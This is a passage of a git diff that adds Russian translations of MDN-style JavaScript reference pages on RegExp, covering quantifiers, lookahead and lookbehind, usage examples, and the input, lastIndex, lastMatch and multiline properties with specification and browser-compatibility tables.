+    <p>Сопоставляется с предшествующим элементом <em>x</em> один или более раз. Эквивалентен квантификатору <code>{1,}</code>.</p>
+
+    <p>Например, шаблон <code>/о+/</code> сопоставляется с символом «о» в строке «конфета» и со всеми символами «о» в строке «коооооонфета».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>*?</code><br>
+    <code><em>x</em>+?</code></td>
+   <td>
+    <p>Сопоставляется с предшествующим элементом <em>x</em> подобно квантификаторам <code>*</code> и <code>+</code>, описанным выше, однако ищет минимально возможное сопоставление.</p>
+
+    <p>Например, шаблон <code>/".*?"/</code> сопоставляется с подстрокой «"foo"» в строке «"foo" "bar"» и не сопоставляется со строкой «"foo" "bar"», поскольку за звёздочкой <code>*</code> следует символ вопроса <code>?</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>?</code></td>
+   <td>
+    <p>Сопоставляется с предшествующим элементом <em>x</em> ноль или один раз.</p>
+
+    <p>Например, шаблон <code>/о?то?/</code> сопоставляется с подстрокой «от» в строке «кот» и подстрокой «то» в строке «ток».</p>
+
+    <p>Если символ используется сразу после какого-то из квантификаторов <code>*</code>, <code>+</code>, <code>?</code>, или <code>{}</code>, то он делает этот квантификатор «нежадным» (сопоставление происходит минимально возможное количество раз), в противоположность «жадному» поведению квантификатора по умолчанию (сопоставление происходит максимально возможное количество раз).</p>
+
+    <p>Также символ используется в квантификаторах предпросмотра <code>(?=)</code>, <code>(?!)</code> и <code>(?:)</code>, также описанных в этой таблице.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>(?=<em>y</em>)</code></td>
+   <td>Сопоставлется с <code><em>x</em></code>, только если за <code><em>x</em></code> следует <code><em>y</em></code>. Например, шаблон <code>/Джек(?=Шпрот)/</code> сопоставлется со строкой «Джек» только если за ней следует строка «Шпрот». Шаблон <code>/Джек(?=Шпрот|Мороз)/</code> сопоставлется со строкой «Джек» только если за ней следуют строки «Шпрот» или «Мороз». Однако, ни «Шпрот», ни «Мороз» не являются частью результата сопоставления.</td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>(?!<em>y</em>)</code></td>
+   <td>
+    <p>Сопоставлется с <code><em>x</em></code>, только если за <code><em>x</em></code> не следует <code><em>y</em></code>. Например, шаблон <code>/\d+(?!\.)/</code> сопоставляется с числом только если за ним не следует десятичная запятая.</p>
+
+    <p>Выражение <code>/\d+(?!\.)/.exec('3.141')</code> сопоставится с «141» но не с «3.141».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;=<em>y</em>)<em>x</em></code></td>
+   <td>
+    <p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Сопоставляется с </span></font><em>x</em></code>, только если <code><em>x</em></code> предшествует <code><em>y</em></code></p>
+
+    <p>Например, /<code>(?&lt;=Пётр)Иванов/</code> сопоставится с "Иванов" только если ему будет предшествовать "Петр".<br>
+     <code>/(?&lt;=Пётр|Владислав)Иванов/</code> сопоставится с "Иванов" только если ему будет предшествовать "Пётр" или "Владислав".<br>
+     В любом случае, ни "Пётр" ни "Владислав" не войдут в результат сопоставления.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(?&lt;!<em>y</em>)<em>x</em></code></td>
+   <td>
+    <table>
+     <tbody>
+      <tr>
+       <td>
+        <p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Сопоставляется с </span></font><em>x</em></code>, только если <code><em>x</em></code> не предшествует <code><em>y</em></code></p>
+
+        <p>Например, <code>/(?&lt;!-)\d+/</code> сопоставится с цифрой, только если ей не предшествует минус.<br>
+         <code>/(?&lt;!-)\d+/.exec('3')</code> вернет "3".<br>
+          <code>/(?&lt;!-)\d+/.exec('-3')</code>  не сопоставится с цифрой, тк цифре перед цифрой 3 присутствует минус.</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>|<em>y</em></code></td>
+   <td>
+    <p>Сопоставляется либо с <code><em>x</em></code>, либо с <code><em>y</em></code>.</p>
+
+    <p>Например, шаблон <code>/зелёное|красное/</code> сопоставится с подстрокой «зелёное» в строке «зелёное яблоко» и подстрокой «красное» в строке «красное яблоко».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>}</code></td>
+   <td>
+    <p>Где <code><em>n</em></code> является целым положительным числом. Сопоставляется точно с <code><em>n</em></code> вхождениями предшествующего элемента <em>x</em>.</p>
+
+    <p>Например, шаблон <code>/о{2}/</code> не сопоставится с символом «о» в слове «конфета», но сопоставится со всеми символами «о» в слове «коонфета» и с первыми двумя символами «о» в слове «кооонфета».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>,}</code></td>
+   <td>
+    <p>Где <code><em>n</em></code> является целым положительным числом. Сопоставляется по крайней мере с <code><em>n</em></code> вхождениями предшествующего элемента <em>x</em>.</p>
+
+    <p>Например, шаблон <code>/о{2,}/</code> не сопоставится с символом «о» в слове «конфета», но сопоставится со всеми символами «о» в словах «коонфета» и даже в «кооооооонфета».</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>,<em>m</em>}</code></td>
+   <td>
+    <p>Где <code><em>n</em></code> и <code><em>m</em></code> являются целыми положительными числами. Сопоставляется по крайней мере с <code><em>n</em></code> но не более, чем с <code><em>m</em></code> вхождениями предшествующего элемента <em>x</em>.</p>
+
+    <p>Например, шаблон <code>/о{1,3}/</code> ни с чем не сопоставится в слове «кнфета», с символом «о» в слове «конфета», с двумя символами «о» в слове «коонфета» и с первыми тремя символами «о» в слове «кооооооонфета». Обратите внимание, что при сопоставлении со словом «кооооооонфета» сопоставиласть только подстрока «ооо», хотя слово содержало гораздо больше символов «о».</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("RegExp.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства ко всем объектам регулярных выражений.</dd>
+ <dt><code>RegExp.length</code></dt>
+ <dd>Значение <code>RegExp.length</code> равно 2.</dd>
+</dl>
+
+<div>{{jsOverrides("Function", "Properties", "prototype")}}</div>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p>Глобальный объект <code>RegExp</code> не имеет собственных методов, однако, он наследует некоторые методы через цепочку прототипов.</p>
+
+<div>{{jsOverrides("Function", "Methods", "prototype")}}</div>
+
+<h2 id="RegExp_prototype_objects_and_instances" name="RegExp_prototype_objects_and_instances">Экземпляры регулярного выражения</h2>
+
+<h3 id="Properties_of_RegExp_instance" name="Properties_of_RegExp_instance">Свойства</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_RegExp_instance" name="Methods_of_RegExp_instance">Методы</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_a_regular_expression_to_change_data_format" name="Example:_Using_a_regular_expression_to_change_data_format">Пример: использование регулярных выражений для смены формата данных</h3>
+
+<p>Следующий скрипт использует метод {{jsxref("String.prototype.replace()", "replace()")}} экземпляра строки {{jsxref("Global_Objects/String", "String")}} для сопоставления с именем в формате <em>имя фамилия</em> и выводит его в формате <em>фамилия, имя</em>. В тесте замены скрипт использует заменители <code>$1</code> и <code>$2</code>, которые заменяются на результаты соответствующих сопоставившихся подгрупп регулярного выражения.</p>
+
+<pre class="brush: js notranslate">var re = /(\w+)\s(\w+)/;
+var str = 'John Smith';
+var newstr = str.replace(re, '$2, $1');
+console.log(newstr);
+
+// пример с русскими буквами
+var re = /([а-яё]+)\s([а-яё]+)/i;
+var str = 'Джон Смит';
+var newstr = str.replace(re, '$2, $1');
+console.log(newstr);
+</pre>
+
+<p>Пример выведет «Smith, John» и «Смит, Джон»</p>
+
+<h3 id="Example_Using_regular_expression_to_split_lines" name="Example:_Using_regular_expression_to_split_lines">Пример: использование регулярного выражения для разбиения строк с различными символами конца строки</h3>
+
+<p>Символы конца строки различаются на различных платформах (Unix, Windows и так далее). Разбиение строк из этого примера работает на всех платформах.</p>
+
+<pre class="brush: js notranslate">var text = 'Некоторый текст\nЕщё текст\r\nИ ещё\rЭто конец';
+var lines = text.split(/\r\n|\r|\n/);
+console.log(lines); // выведет [ 'Некоторый текст', 'Ещё текст', 'И ещё', 'Это конец' ]
+</pre>
+
+<p>Обратите внимание, что порядок шаблонов в регулярном выражении имеет значение.</p>
+
+<h3 id="Example_Using_regular_expression_on_multiple_lines" name="Example:_Using_regular_expression_on_multiple_lines">Пример: использование регулярных выражений на нескольких строках</h3>
+
+<pre class="brush: js notranslate">var s = 'Please yes\nmake my day!';
+s.match(/yes.*day/);
+// Вернёт null
+s.match(/yes[^]*day/);
+// Вернёт 'yes\nmake my day'
+</pre>
+
+<h3 id="Example_Using_a_regular_expression_with_the_.22sticky.22_flag" name="Example:_Using_a_regular_expression_with_the_.22sticky.22_flag">Пример: использование регулярных выражений с флагом «липучести»</h3>
+
+<p>Этот пример демонстрирует, как можно использовать флаг «липучести» регулярных выражений для сопоставления с отдельными строками многострочного ввода.</p>
+
+<pre class="brush: js notranslate">var text = 'Первая строка\nВторая строка';
+var regex = /(\S+) строка\n?/y;
+
+var match = regex.exec(text);
+console.log(match[1]);        // напечатает 'Первая'
+console.log(regex.lastIndex); // напечатает '14'
+
+var match2 = regex.exec(text);
+console.log(match2[1]);       // напечатает 'Вторая'
+console.log(regex.lastIndex); // напечатает '27'
+
+var match3 = regex.exec(text);
+console.log(match3 === null); // напечатает 'true'
+</pre>
+
+<p>Во время выполнения можно проверить, поддерживается ли флаг «липучести», при помощи блока <code>try { … } catch { … }</code>. Для этого надо использовать либо выражение с <code>eval(…)</code>, либо конструктор <code>RegExp(<var>строка-регулярки</var>, <var>строка-с-флагами</var>)</code> (поскольку нотация <code>/<var>регулярка</var>/<var>флаги</var></code> обрабатывается во время компиляции, исключение будет выброшено до того, как выполнение достигнет блока <code>catch</code>). Например:</p>
+
+<pre class="brush: js notranslate">var supports_sticky;
+try { RegExp('', 'y'); supports_sticky = true; }
+catch(e) { supports_sticky = false; }
+console.log(supports_sticky); // напечатает 'true'
+</pre>
+
+<h3 id="Example_Regular_expression_and_Unicode_characters" name="Example:_Regular_expression_and_Unicode_characters">Пример: регулярные выражения и символы Юникода</h3>
+
+<p>Как уже сказано выше, символьные классы <code>\w</code> и <code>\W</code> сопоставляются только с базовыми символами ASCII; то есть, с символами от «a» до «z», от «A» до «Z», от «0» до «9» и символом «_». Для сопоставления с символами из других языков, например, с кириллическими или иврита, используйте форму <code>\uhhhh</code>, где «hhhh» — это значение символа Юникода, записанное в шестнадцатеричной форме. Этот пример демонстрирует, как можно выделить символы Юникода, составляющие слова.</p>
+
+<pre class="brush: js notranslate">var text = 'Образец text на русском языке';
+var regex = /[\u0400-\u04FF]+/g;
+
+var match = regex.exec(text);
+console.log(match[0]);        // напечатает 'Образец'
+console.log(regex.lastIndex); // напечатает '7'
+
+var match2 = regex.exec(text);
+console.log(match2[0]);       // напечатает 'на' [не 'text']
+console.log(regex.lastIndex); // напечатает '15'
+
+// и так далее
+</pre>
+
+<p>Вот на этом внешнем ресурсе можно составить полный диапазон блоков Юникода для различных письменностей: <a href="http://kourge.net/projects/regexp-unicode-block">regexp-unicode-block</a>.</p>
+
+<h3 id="Example_Extracting_subdomain_name_from_URL" name="Example:_Extracting_subdomain_name_from_URL">Пример: извлечение имени поддомена из URL</h3>
+
+<pre class="brush: js notranslate">var url = 'http://xxx.domain.com';
+console.log(/[^.]+/.exec(url)[0].substr(7)); // напечатает 'xxx'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10', 'RegExp')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Флаг «липучести» («y»)</td>
+   <td>{{CompatChrome("39")}} (через флаг)</td>
+   <td>{{CompatGeckoDesktop("1.9")}} ES4-Style {{bug(773687)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Флаг «липучести» («y»)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("1.9")}} ES4-Style {{bug(773687)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko_specific_notes" name="Gecko_specific_notes">Примечания по Gecko</h3>
+
+<p>Начиная с Gecko 34 {{geckoRelease(34)}}, в случае захвата группы с квантификаторами, предотвращающими появление группы в результате сопоставления, сопоставившийся текст для захваченной группы теперь имеет значение <code>undefined</code> вместо пустой строки:</p>
+
+<pre class="brush: js notranslate">// Firefox 33 или более ранние
+'x'.replace(/x(.)?/g, function(m, group) {
+  console.log("'group:" + group + "'");
+}); // 'group:'
+
+// Firefox 34 или более новые
+'x'.replace(/x(.)?/g, function(m, group) {
+  console.log("'group:" + group + "'");
+}); // 'group:undefined'
+</pre>
+
+<p>Обратите внимание, что для поддержания обратной совместимости, свойства <code>RegExp.$N</code> по-прежнему возвращают пустую строку вместо значения <code>undefined</code> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1053944">bug 1053944</a>).</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Глава про <a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions">регулярные выражения</a> в <a href="/ru/docs/Web/JavaScript/Guide">руководстве по JavaScript</a></li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/input/index.html b/files/ru/web/javascript/reference/global_objects/regexp/input/index.html
new file mode 100644
index 0000000000..1e85d92013
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/input/index.html
@@ -0,0 +1,55 @@
+---
+title: RegExp.input ($_)
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/input
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/input
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Нестандартное свойство <strong><code>input</code> </strong>является статическим свойством регулярных выражений. Оно содержит строку, для которой произошло совпадение по регулярному выражению. Значение свойства также можно получить как <code>RegExp.$_</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>RegExp</var>.input
+RegExp.$_
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Поскольку свойство <code>input</code> статическое, к нему можно обратиться только как <code>RegExp.input</code> или <code>RegExp.$_</code>.</p>
+
+<p>Значение данного свойства изменяется каждый раз при возникновении совпадений с регулярным выражением для новой строки.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_input_и__">Использование <code>input</code> и <code>$_</code></h3>
+
+<pre class="brush: js">var re = /hi/g;
+re.test('hi there!');
+RegExp.input;         // "hi there!"
+re.test('foo');       // новая проверка, совпадений нет
+RegExp.$_;            // "hi there!"
+re.test('hi world!'); // новая проверка, совпадение есть
+RegExp.$_;            // "hi world!"
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не стандартизированно. Не является частью какой-либо спецификации.</p>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.input")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&amp;)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/lastindex/index.html b/files/ru/web/javascript/reference/global_objects/regexp/lastindex/index.html
new file mode 100644
index 0000000000..3b9b80efea
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/lastindex/index.html
@@ -0,0 +1,130 @@
+---
+title: RegExp.lastIndex
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex
+tags:
+  - JavaScript
+  - Property
+  - Reference
+  - RegExp
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>lastIndex</code></strong> является целочисленным свойством регулярного выражения, доступным как для чтения, так и для записи, которое определяет индекс, с которого следует начинать следующее сопоставление.</p>
+
+<div>{{js_property_attributes(1, 0, 0)}}</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>regExpObj</var>.lastIndex</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Это свойство устанавливается только в том случае, если в регулярном выражении используется флаг <code>"g"</code>, указывающий на необходимость глобального поиска. Оно подчиняется следующим правилам:</p>
+<ul>
+ <li>Если свойство <code>lastIndex</code> больше длины строки, методы {{jsxref("RegExp.prototype.test()", "test()")}} и {{jsxref("RegExp.prototype.exec()", "exec()")}} завершатся с неудачей, а свойство <code>lastIndex</code> будет установлено в 0.</li>
+ <li>Если свойство <code>lastIndex</code> равно длине строки и регулярное выражение сопоставляется с пустой строкой, то регулярное выражение начнёт сопоставляться, начиная с позиции <code>lastIndex</code>.</li>
+ <li>Если свойство <code>lastIndex</code> равно длине строки и регулярное выражение не сопоставляется с пустой строкой, то регулярное выражение не соответствует входу и свойство <code>lastIndex</code> сбрасывается в 0.</li>
+ <li>Во всех остальных случаях свойство <code>lastIndex</code> устанавливается в позицию, следующую за самым последним сопоставлением.</li>
+</ul>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_lastIndex" name="Example:_Using_lastIndex">Пример: использование свойства <code>lastIndex</code></h3>
+<p>Рассмотрим следующую последовательность инструкций:</p>
+<pre class="brush: js">var re = /(привет)?/g;
+</pre>
+<p>Сопоставляется с пустой строкой.</p>
+<pre class="brush: js">console.log(re.exec('привет'));
+console.log(re.lastIndex);
+</pre>
+<p>Выведет массив <code>["привет", "привет"]</code>, а свойство <code>lastIndex</code> будет равным 6.</p>
+<pre class="brush: js">console.log(re.exec('привет'));
+console.log(re.lastIndex);
+</pre>
+<p>Выведет массив <code>["", undefined]</code>, «пустой» массив, чей нулевой элемент является сопоставившейся строкой. В данном случае, ей является пустая строка, поскольку свойство <code>lastIndex</code> было равно 6 (и остаётся равным 6), а строка <code>"привет"</code> имеет длину 6.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.<br>
+    JavaScript 1.5: свойство <code>lastIndex</code> является свойством экземпляра {{jsxref("RegExp")}}, а не самого объекта {{jsxref("RegExp")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.5', 'RegExp.lastIndex')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html
new file mode 100644
index 0000000000..94e140a0a8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html
@@ -0,0 +1,54 @@
+---
+title: RegExp.lastMatch ($&)
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Нестандартное свойство <strong>lastMatch </strong>является доступным только для чтения статическим свойством регулярных выражений. Оно содержит последние совпавшие символы. Значение свойства также можно получить как <code>RegExp.$&amp;</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><var>RegExp</var>.lastMatch
+RegExp['$&amp;']
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Поскольку свойство <code>lastMatch</code>  статическое, к нему можно обратиться только как  <code>RegExp.lastMatch</code> или <code>RegExp['$&amp;'].</code></p>
+
+<p>Значение свойства <code>lastMatch</code> доступно только для чтение и изменяется при успешном совпадении с регулярным выражением.</p>
+
+<p>Поскольку использование символа "&amp;" приведет к выбрасыванию ошибки {{jsxref("SyntaxError")}}, обратиться к данному свойству с помощью точечной нотации(<code>RegExp.$&amp;</code>) нельзя. Вместо этого стоит использовать <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors">скобочную нотацию</a> (<code>RegExp['$&amp;']</code>).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_lastMatch_и">Использование <code>lastMatch</code> и <code>$&amp;</code></h3>
+
+<pre class="brush: js notranslate">var re = /hi/g;
+re.test('hi there!');
+RegExp.lastMatch; // "hi"
+RegExp['$&amp;'];     // "hi"
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не стандартизированно. Не является частью какой-либо спецификации.</p>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.lastMatch")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/multiline/index.html b/files/ru/web/javascript/reference/global_objects/regexp/multiline/index.html
new file mode 100644
index 0000000000..734964950f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/multiline/index.html
@@ -0,0 +1,115 @@
+---
+title: RegExp.prototype.multiline
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/multiline
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - RegExp
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/multiline
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>multiline</code></strong> указывает, использовался ли в определении регулярного выражения флаг <code>"m"</code>. Свойство <code>multiline</code> является свойством только для чтения и принадлежит экземпляру регулярного выражения.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Значение свойства <code>multiline</code> имеет тип {{jsxref("Global_Objects/Boolean", "Boolean")}} и содержит <code>true</code>, если при определении регулярного выражения использовался флаг <code>"m"</code>; в противном случае оно содержит <code>false</code>. Флаг <code>"m"</code> указывает на то, что многострочная входная строка должна рассматриваться в виде нескольких строк. Например, если используется флаг <code>"m"</code>, специальные символы <code>"^"</code> и <code>"$"</code> меняют своё поведение: с установленным флагом они сопоставляются в началом / концом каждой строки в многострочной строке, а не с началом / концом всей многострочной строки.</p>
+<p>Вы не можете напрямую изменить это свойство.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_multiline" name="Example:_Using_multiline">Пример: использование свойства <code>multiline</code></h3>
+<pre class="brush: js">var regex = new RegExp('foo', 'm');
+
+console.log(regex.multiline); // true
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.<br>
+    JavaScript 1.5: свойство <code>multiline</code> является свойством экземпляра {{jsxref("Global_Objects/RegExp", "RegExp")}}, а не самого объекта {{jsxref("Global_Objects/RegExp", "RegExp")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.4', 'RegExp.prototype.multiline')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.multiline', 'RegExp.prototype.multiline')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Свойство <code>multiline</code> теперь является свойством доступа в прототипе объекта, а не собственным свойством данных экземпляра.</td>
+  </tr>
+ </tbody>
+</table>
+
